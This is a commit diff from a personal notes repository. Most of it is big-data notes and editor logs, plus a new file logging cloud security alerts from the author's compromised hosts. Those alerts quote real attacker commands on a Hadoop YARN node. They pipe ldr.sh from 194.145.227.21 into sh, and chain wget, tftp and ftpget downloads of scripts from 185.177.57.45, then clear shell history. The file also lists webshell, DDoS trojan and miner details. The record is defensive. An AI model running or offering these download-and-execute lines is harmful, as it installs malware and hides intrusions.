bigdata

JamesBonddu · Dec 8, 2021 · 10d88a4 · 10d88a4
1 parent 616401e
commit 10d88a4
Show file tree

Hide file tree

Showing 7 changed files with 240 additions and 4 deletions.
diff --git a/.metals/metals.h2.db b/.metals/metals.h2.db
diff --git a/.metals/metals.lock.db b/.metals/metals.lock.db
@@ -1,6 +1,6 @@
 #FileLock
-#Wed Nov 17 20:01:02 CST 2021
+#Fri Dec 03 15:54:42 CST 2021
 hostName=localhost
-id=17d2dc59282a6101e0bc235a0fa76a0f3cd6e847cc2
+id=17d7f49cd7211bd46ccdcc07afa27d22788f12e3533
 method=file
-server=localhost\:50060
+server=localhost\:59398
diff --git a/.metals/metals.log b/.metals/metals.log
@@ -122,3 +122,17 @@ Caused by: java.nio.file.FileSystemNotFoundException: Provider "untitled" not in
 	at scala.meta.internal.metals.MetalsLanguageServer.didFocus(MetalsLanguageServer.scala:1010)
 	... 16 more
 
+[0m2021.12.03 15:54:37 INFO  Started: Metals version 0.10.4 in workspace 'D:\projects\funny\JsDu.io' for client Visual Studio Code 1.62.0.[0m
+[0m2021.12.03 15:54:43 INFO  time: initialize in 6.44s[0m
+[0m2021.12.03 15:54:43 WARN  Build server is not auto-connectable.[0m
+[0m2021.12.03 15:54:43 WARN  no build tool detected in workspace 'D:\projects\funny\JsDu.io'. The most common cause for this problem is that the editor was opened in the wrong working directory, for example if you use sbt then the workspace directory should contain build.sbt. [0m
+ʮ���� 07, 2021 7:16:13 ���� org.eclipse.lsp4j.jsonrpc.services.GenericEndpoint notify
+��Ϣ: Unsupported notification method: $/setTrace
+ʮ���� 07, 2021 7:16:39 ���� org.eclipse.lsp4j.jsonrpc.services.GenericEndpoint notify
+��Ϣ: Unsupported notification method: $/setTrace
+ʮ���� 07, 2021 7:17:30 ���� org.eclipse.lsp4j.jsonrpc.services.GenericEndpoint notify
+��Ϣ: Unsupported notification method: $/setTrace
+ʮ���� 08, 2021 10:18:15 ���� org.eclipse.lsp4j.jsonrpc.services.GenericEndpoint notify
+��Ϣ: Unsupported notification method: $/setTrace
+ʮ���� 08, 2021 10:54:44 ���� org.eclipse.lsp4j.jsonrpc.services.GenericEndpoint notify
+��Ϣ: Unsupported notification method: $/setTrace
diff --git a/大数据/MaxCompute/MaxCompute.md b/大数据/MaxCompute/MaxCompute.md
@@ -0,0 +1,22 @@
+#  Hologres
+
+Hologres（中文名交互式分析）是阿里云自研的一站式实时数仓，这个云原生系统融合了实时服务和分析大数据的场景，全面兼容 PostgreSQL 协议并与大数据生态无缝打通，能用同一套数据架构同时支持实时写入实时查询以及实时离线联邦分析。
+
+https://xie.infoq.cn/article/b7b63d9ad46ed4794d512e172
+
+
+# 外部表
+
+MaxCompute SQL作为分布式数据处理的主要入口，可实现EB级别离线数据的快速处理和存储。随着大数据业务的不断扩展，新的数据使用场景在不断产生，MaxCompute计算框架也在不断的演化。MaxCompute原来主要面对内部特殊格式数据的强大计算能力，正一步步的开放给不同的外部数据。
+
+现阶段MaxCompute SQL处理的主要是以cfile列格式存储在内部MaxCompute表格中的结构化数据。对于MaxCompute表外的各种用户数据（包括文本以及各种非结构化的数据），您需要通过不同工具导入MaxCompute表再进行计算。以OSS为例，如果您需要在MaxCompute中处理OSS上的数据，通常有以下两种方式：
+通过OSS SDK或者其他工具从OSS下载数据，然后再通过MaxCompute Tunnel将数据导入表里。
+编写UDF，在UDF里直接调用OSS SDK访问OSS数据。
+但这两种方法都有不足之处：
+第一种方法需要在MaxCompute系统外部做一次中转，如果OSS数据量太大，还需要考虑如何并发来加速，无法充分利用MaxCompute大规模计算的能力。
+第二种方法通常需要申请UDF网络访问权限，还需要开发者自己控制作业并发数，解决数据如何分片的问题。
+因此，MaxCompute提供了外部表来解决上述问题。外部表的功能，旨在提供除MaxCompute内部表格以外的其他数据的处理能力。通过一条简单的DDL语句，即可在MaxCompute上创建一张外部表，建立MaxCompute表与外部数据源的关联，提供各种数据的接入和输出能力。创建好的外部表可以像普通的MaxCompute表一样使用（大部分场景），充分利用MaxCompute SQL的强大计算功能。
+
+https://help.aliyun.com/document_detail/150536.html
+
+https://help.aliyun.com/document_detail/54518.html
diff --git a/大数据/hadoop/大数据实战.md b/大数据/hadoop/大数据实战.md
@@ -539,4 +539,9 @@ https://www.cnblogs.com/chenxiaoge/p/13335437.html
 
 提交代码的时候少了 --deploy-mode=cluster ，少了这个配置，程序会认为不是集群跑的，然而我的master配置的又是yarn，所以它就不认识yarn集群上的一些主机的hostname，导致如上的报错
 
-https://www.jianshu.com/p/a054cc99e0c2
+https://www.jianshu.com/p/a054cc99e0c2
+
+
+# CDH Agent安装失败
+
+https://blog.csdn.net/weixin_36485298/article/details/116469291
diff --git a/大数据/数据采集/数据采集.md b/大数据/数据采集/数据采集.md
@@ -0,0 +1,8 @@
+# Excel数据采集
+
+https://blog.csdn.net/qq_38889342/article/details/108727896
+
+
+# Java调用python
+
+https://www.baeldung.com/java-working-with-python
diff --git a/安全技能树/常见姿势/DDos木马.md b/安全技能树/常见姿势/DDos木马.md
@@ -0,0 +1,187 @@
+# Rakitin
+
+恶意软件-DDoS木马待处理
+备注
+该告警由如下引擎检测发现：
+文件路径: /tmp/Rakitin.x86
+恶意文件md5: 358cb1fc1fcb131360734354fb746cf9
+进程id: 1469
+描述: 黑客在入侵系统后植入的恶意程序，会占用您的带宽攻击其他服务器，同时可能影响自身业务的正常运行，危害较大。 此类恶意程序可能还存在自删除行为，或伪装成系统程序以躲避检测。如果发现该文件不存在，请检查是否存在可疑进程、定时任务或启动项。帮助文档：https://help.aliyun.com/knowledge_detail/36279.html
+
+
+## 威胁报告
+
+https://s.threatbook.cn/report/file/84304e5e94f703e9f6f32ea79a40f267042c72675a9aefe7ac8c1aebcec8f088/?sign=history&env=centos_7_x64
+
+https://www.virustotal.com/gui/file/84304e5e94f703e9f6f32ea79a40f267042c72675a9aefe7ac8c1aebcec8f088
+
+https://www.hybrid-analysis.com/sample/41d657a249975e80066e0359154a6c8d0642e28d4efa14de4e8cfe0188054839
+
+https://analyze.intezer.com/files/84304e5e94f703e9f6f32ea79a40f267042c72675a9aefe7ac8c1aebcec8f088?vt
+
+
+https://www.freebuf.com/articles/system/283726.html
+
+https://www.freebuf.com/articles/system/262402.html
+
+https://paper.seebug.org/611/
+
+https://ti.qianxin.com/blog/articles/8220-mining-gang-in-china/
+
+https://www.antiy.com/response/Mirai/Mirai.html
+
+
+## 后门木马
+
+后门木马又称特洛伊木马（Trojan Horse），是一种后门程序。后门木马具有很高的伪装性，通常表现为一个正常的应用程序或文件，以获得广泛的传播和目标用户的信任。当目标用户执行后门木马程序后，攻击者即可对用户的主机进行破坏或盗取敏感数据，如各种账户、密码、保密文件等。在黑客进行的各种攻击行为中，后门木马基本上都起到了先导作用，为进一步的攻击打下基础。
+
+态势感知支持检测5种子类型的后门木马威胁，基础版不支持检测后门木马类威胁，标准版支持检测1种子类型威胁，专业版支持检测全部子类型威胁。
+
+当检测到后门木马类威胁时，ECS实例存在木马程序网络请求，代表ECS实例已经存在被植入木马的特征，如尝试做wannacry勒索病毒相关DNS解析请求、尝试下载exe类木马程序等，属于“高危”告警级别威胁。因此建议按照如下方式处理：
+
+https://www.freebuf.com/column/184932.html
+
+## ELF文件格式
+
+ELF (Executable and Linkable Format)是一种为可执行文件，目标文件，共享链接库和内核转储(core dumps)准备的标准文件格式。 Linux和很多类Unix操作系统都使用这个格式。 让我们来看一下64位ELF文件格式的结构以及内核源码中有关于它的一些定义。
+
+一个ELF文件由以下三部分组成：
+
+ELF头(ELF header) - 描述文件的主要特性：类型，CPU架构，入口地址，现有部分的大小和偏移等等；
+
+程序头表(Program header table) - 列举了所有有效的段(segments)和他们的属性。 程序头表需要加载器将文件中的节加载到虚拟内存段中；
+
+节头表(Section header table) - 包含对节(sections)的描述。
+
+现在让我们对这些部分有一些更深的了解。
+
+https://xinqiu.gitbooks.io/linux-inside-zh/content/Theory/linux-theory-2.html
+
+## 后门的类型
+
+https://www.cnblogs.com/zlgxzswjy/p/6209571.html
+
+
+## Yarn需要开启Kerberos认证
+
+https://s.tencent.com/research/report/1175.html
+
+https://s.tencent.com/research/report/1093.html
+
+# ldr
+
+恶意脚本-恶意脚本代码执行待处理
+备注
+该告警由如下引擎检测发现：
+命令行: /bin/bash -c (curl http://194.145.227.21/ldr.sh?f9edaad2||wget -q -O- http://194.145.227.21/ldr.sh?f9edaad2)|sh
+进程PID: 3093
+进程文件名: bash
+父进程ID: 3090
+父进程: bash
+父进程文件路径: /usr/bin/bash
+进程链:
+-[1059]  /usr/bin/python2 /opt/cloudera/cm-agent/bin/../bin/supervisord -n
+    -[19561]  /usr/bin/python2 /opt/cloudera/cm-agent/bin/cm proc_watcher 19588
+        -[19588]  /usr/lib/jvm/jre-openjdk/bin/java -Dproc_nodemanager -Djava.net.preferIPv4Stack=true -Xms541065216 -Xmx541065216 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=70 -XX:+CMSParallelRemarkEnabled -Dlibrary.leveldbjni.path=/var/run/cloudera-scm-agent/process/567-yarn-NODEMANAGER -Dhadoop.event.appender=,EventCatcher -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp/yarn_yarn-NODEMANAGER-6c773f43a0750daf6093d51f4d8a46e2_pid19588.hprof -XX:OnOutOfMemoryError=/opt/cloudera/cm-agent/service/common/killparent.sh -Dyarn.log.dir=/var/log/hadoop-yarn -Dyarn.log.file=hadoop-cmf-yarn-NODEMANAGER-cdh03.com.log.out -Dyarn.home.dir=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop-yarn -Dyarn.root.logger=INFO,RFA -Djava.library.path=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop/lib/native -Dhadoop.log.dir=/var/log/hadoop-yarn -Dhadoop.log.file=hadoop-cmf-yarn-NODEMANAGER-cdh03.com.log.out -Dhadoop.home.dir=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop -Dhadoop.id.str=yarn -Dhadoop.root.logger=INFO,RFA -Dhadoop.policy.file=hadoop-policy.xml -Dhadoop.security.logger=INFO,NullAppender org.apache.hadoop.yarn.server.nodemanager.NodeManager
+            -[3090]  bash /yarn/nm/usercache/dr.who/appcache/application_1635840259220_0019/container_1635840259220_0019_01_000001/default_container_executor.sh
+
+事件说明: 云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python)，请立刻排查入侵来源。如果是您的运维行为，请选择忽略。
+
+## 威胁报告
+
+CoinMiner
+
+https://s.threatbook.cn/report/file/7eb444671ab338eccadf81d43166661ccb4b1e487836ab41e2245db61dceed31/?sign=history&env=win7_sp1_enx86_office2013
+
+## Nexus Repository Manager 3
+
+https://s.tencent.com/research/report/1234.html
+
+https://blog.csdn.net/qq_37912804/article/details/113036139
+
+https://www.freebuf.com/vuls/272777.html
+
+# webshell
+
+网站后门-发现后门（Webshell）文件待处理
+备注
+该告警由如下引擎检测发现：
+木马文件路径: /home/wwwroot/default/man.php
+文件MD5: 0a7c0611df37d38929552667dbbc9e79
+首次发现时间: 2021-05-12 16:45:24
+更新时间: 2021-12-03 20:09:28
+木马类型: Webshell
+事件说明: 云安全中心在您的系统磁盘上发现了一个可疑文件，它可能代表了是黑客成功入侵网站后种植的，建议您先确认文件合法性并处理。总体上，云安全中心Webshell检测是根据文件行为威胁程度进行打分的，这个文件具备了一定的危险功能，本身具有一定的危险特征，但并不完全保证一定是一个网站后门，也可能是一些包含可疑代码的正常网站文件，如果管理员自己部署放置的，可以在前台选择忽略或者标记为误报按钮。同时，如果被告警的文件是一个.log网站日志文件，常常是因为网站将http日志直接明文保存在文件中，这样存在一定的安全风险。建议将http日志的保存路径放置到非web路径下。如果您确认是误报，可以通过【处理】->【加白】进行加白处理，加白后的路径将不会继续告警。
+
+
+网站后门-发现后门（Webshell）文件待处理
+备注
+该告警由如下引擎检测发现：
+木马文件路径: /home/wwwroot/default/appz.php
+文件MD5: d4b164e1e8bbbb5351c6dacf6af96f9d
+首次发现时间: 2021-05-12 16:54:56
+更新时间: 2021-12-04 18:56:02
+木马类型: Webshell
+事件说明: 云安全中心在您的系统磁盘上发现了一个可疑文件，它可能代表了是黑客成功入侵网站后种植的，建议您先确认文件合法性并处理。总体上，云安全中心Webshell检测是根据文件行为威胁程度进行打分的，这个文件具备了一定的危险功能，本身具有一定的危险特征，但并不完全保证一定是一个网站后门，也可能是一些包含可疑代码的正常网站文件，如果管理员自己部署放置的，可以在前台选择忽略或者标记为误报按钮。同时，如果被告警的文件是一个.log网站日志文件，常常是因为网站将http日志直接明文保存在文件中，这样存在一定的安全风险。建议将http日志的保存路径放置到非web路径下。如果您确认是误报，可以通过【处理】->【加白】进行加白处理，加白后的路径将不会继续告警。
+
+# gKAY DDos木马
+
+恶意软件-DDoS木马待处理
+备注
+该告警由如下引擎检测发现：
+文件路径: /tmp/gKAY
+恶意文件md5: 0251dbeaf0033ec185a772a6810fe2dc
+进程id: 6454
+描述: 黑客在入侵系统后植入的恶意程序，会占用您的带宽攻击其他服务器，同时可能影响自身业务的正常运行，危害较大。 此类恶意程序可能还存在自删除行为，或伪装成系统程序以躲避检测。如果发现该文件不存在，请检查是否存在可疑进程、定时任务或启动项。帮助文档：https://help.aliyun.com/knowledge_detail/36279.html
+
+
+## 分析报告
+
+https://s.threatbook.cn/report/file/12355637741a7f2ddcd56d75892fc28a9c5f6d9bd4a210bd52077ba7d119a882/?sign=history&env=centos_7_x64
+
+
+
+
+# 挖矿
+
+恶意软件-挖矿程序待处理
+备注
+该告警由如下引擎检测发现：
+文件路径: /data/dep/exchangis/myexchangis/wedatasphere-exchangis-0.5.0.RELEASE/modules/exchangis-eureka/conf/dysdtz/kthreaddk
+恶意文件md5: 6db4f74c02570917e087c06ce32a99f5
+检测方式: 云查杀
+进程id: 4300
+进程命令行: N/A
+文件创建用户: yarn
+文件创建时间: 2021-12-03 16:39:17
+文件修改时间: 2021-12-03 16:39:17
+样本家族与特征: Miner,XMRig
+描述: 通常黑客入侵后会植入挖矿程序赚取收益，该类程序占用CPU等资源，影响用户正常业务，危害较大。且该程序可能还存在自删除行为，或伪装成系统程序以躲避检测。如果发现该文件不存在，请检查是否存在可疑进程、定时任务或启动项。具体详情可查看帮助：https://helpcdn.aliyun.com/knowledge_detail/41206.html
+
+
+
+# fuze.sh
+
+恶意脚本-恶意脚本代码执行待处理
+备注
+该告警由如下引擎检测发现：
+命令行: wget http://185.177.57.45/fuze.sh
+进程PID: 8607
+进程文件名: wget
+父进程ID: 8605
+父进程: bash
+父进程文件路径: /usr/bin/bash
+进程链:
+-[1059]  /usr/bin/python2 /opt/cloudera/cm-agent/bin/../bin/supervisord -n
+    -[19561]  /usr/bin/python2 /opt/cloudera/cm-agent/bin/cm proc_watcher 19588
+        -[19588]  /usr/lib/jvm/jre-openjdk/bin/java -Dproc_nodemanager -Djava.net.preferIPv4Stack=true -Xms541065216 -Xmx541065216 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=70 -XX:+CMSParallelRemarkEnabled -Dlibrary.leveldbjni.path=/var/run/cloudera-scm-agent/process/567-yarn-NODEMANAGER -Dhadoop.event.appender=,EventCatcher -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp/yarn_yarn-NODEMANAGER-6c773f43a0750daf6093d51f4d8a46e2_pid19588.hprof -XX:OnOutOfMemoryError=/opt/cloudera/cm-agent/service/common/killparent.sh -Dyarn.log.dir=/var/log/hadoop-yarn -Dyarn.log.file=hadoop-cmf-yarn-NODEMANAGER-cdh03.com.log.out -Dyarn.home.dir=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop-yarn -Dyarn.root.logger=INFO,RFA -Djava.library.path=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop/lib/native -Dhadoop.log.dir=/var/log/hadoop-yarn -Dhadoop.log.file=hadoop-cmf-yarn-NODEMANAGER-cdh03.com.log.out -Dhadoop.home.dir=/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/lib/hadoop -Dhadoop.id.str=yarn -Dhadoop.root.logger=INFO,RFA -Dhadoop.policy.file=hadoop-policy.xml -Dhadoop.security.logger=INFO,NullAppender org.apache.hadoop.yarn.server.nodemanager.NodeManager
+            -[8602]  bash /yarn/nm/usercache/dr.who/appcache/application_1635840259220_0020/container_1635840259220_0020_01_000001/default_container_executor.sh
+                -[8605]  /bin/bash -c cd /tmp;wget http://185.177.57.45/fuze.sh; chmod 777 fuze.sh; sh fuze.sh; tftp 185.177.57.45 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.177.57.45; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.177.57.45 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh;clear;history -c; clear;history -w
+
+事件说明: 云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python)，请立刻排查入侵来源。如果是您的运维行为，请选择忽略。
+
+
+## 威胁报告
+fuze.sh
+
+https://s.threatbook.cn/report/file/f61be2eb50cda564076e0f1bb70fb2484df60f0efd5066c34180824d83e64332/?sign=history&env=win7_sp1_enx86_office2013